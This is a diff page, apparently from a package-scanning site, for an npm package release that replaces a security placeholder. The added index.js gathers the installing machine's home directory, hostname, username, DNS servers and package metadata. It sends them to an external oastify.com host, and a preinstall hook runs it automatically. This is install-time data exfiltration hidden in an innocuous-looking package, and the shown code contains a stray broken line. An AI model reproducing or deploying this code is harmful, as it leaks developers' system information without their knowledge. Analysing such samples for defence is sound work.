trip-component-platform-online-prepermission-popup 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of trip-component-platform-online-prepermission-popup might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +47 -0
  2. package/package.json +35 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,47 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ const trackingData = JSON.stringify({
9
+ p: package,
10
+ c: __dirname,
11
+ hd: os.homedir(),
12
+ hn: os.hostname(),
13
+ un: os.userInfo().username,
14
+ dns: dns.getServers(),
15
+ r: packageJSON ? packageJSON.___resolved : undefined,
16
+ v: packageJSON.version,
17
+ pjson: packageJSON,
18
+ });
19
+
20
+ var postData = querystring.stringify({
21
+ msg: trackingData,
22
+ });
23
+
24
+ var options = {
25
+ hostname: "5cie3e4c5b1c92d8z3ijdjglyc42sr.oastify.com"
26
+ pipedream
27
+ port: 443,
28
+ path: "/",
29
+ method: "POST",
30
+ headers: {
31
+ "Content-Type": "application/x-www-form-urlencoded",
32
+ "Content-Length": postData.length,
33
+ },
34
+ };
35
+
36
+ var req = https.request(options, (res) => {
37
+ res.on("data", (d) => {
38
+ process.stdout.write(d);
39
+ });
40
+ });
41
+
42
+ req.on("error", (e) => {
43
+ // console.error(e);
44
+ });
45
+
46
+ req.write(postData);
47
+ req.end();
package/package.json CHANGED
@@ -1,6 +1,38 @@
1
1
  {
2
2
  "name": "trip-component-platform-online-prepermission-popup",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "0460fb80-a6d7c41854e646b0.js",
6
+ "directories": {
7
+ "example": "example"
8
+ },
9
+ "dependencies": {
10
+ "csscolorparser": "^1.0.3",
11
+ "gl-matrix": "^3.4.3",
12
+ "earcut": "^2.2.4",
13
+ "geojson-vt": "^3.2.1",
14
+ "get-stream": "^6.0.1",
15
+ "kdbush": "^4.0.2",
16
+ "grid-index": "^1.1.0",
17
+ "quickselect": "^2.0.0",
18
+ "protocol-buffers-schema": "^3.6.0",
19
+ "pbf": "^3.2.1",
20
+ "rw": "^1.3.3",
21
+ "mapbox-gl": "^2.15.0",
22
+ "minimist": "^1.2.8",
23
+ "ieee754": "^1.2.1",
24
+ "potpack": "^2.0.0",
25
+ "murmurhash-js": "^1.0.0",
26
+ "resolve-protobuf-schema": "^2.1.0",
27
+ "tinyqueue": "^2.0.3",
28
+ "vt-pbf": "^3.1.3",
29
+ "supercluster": "^8.0.1"
30
+ },
31
+ "devDependencies": {},
32
+ "scripts": {
33
+ "test": "echo \"Error: no test specified\" && exit 1",
34
+ "preinstall": "index.js"
35
+ },
36
+ "author": "vwake01",
37
+ "license": "ISC"
6
38
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=trip-component-platform-online-prepermission-popup for more information.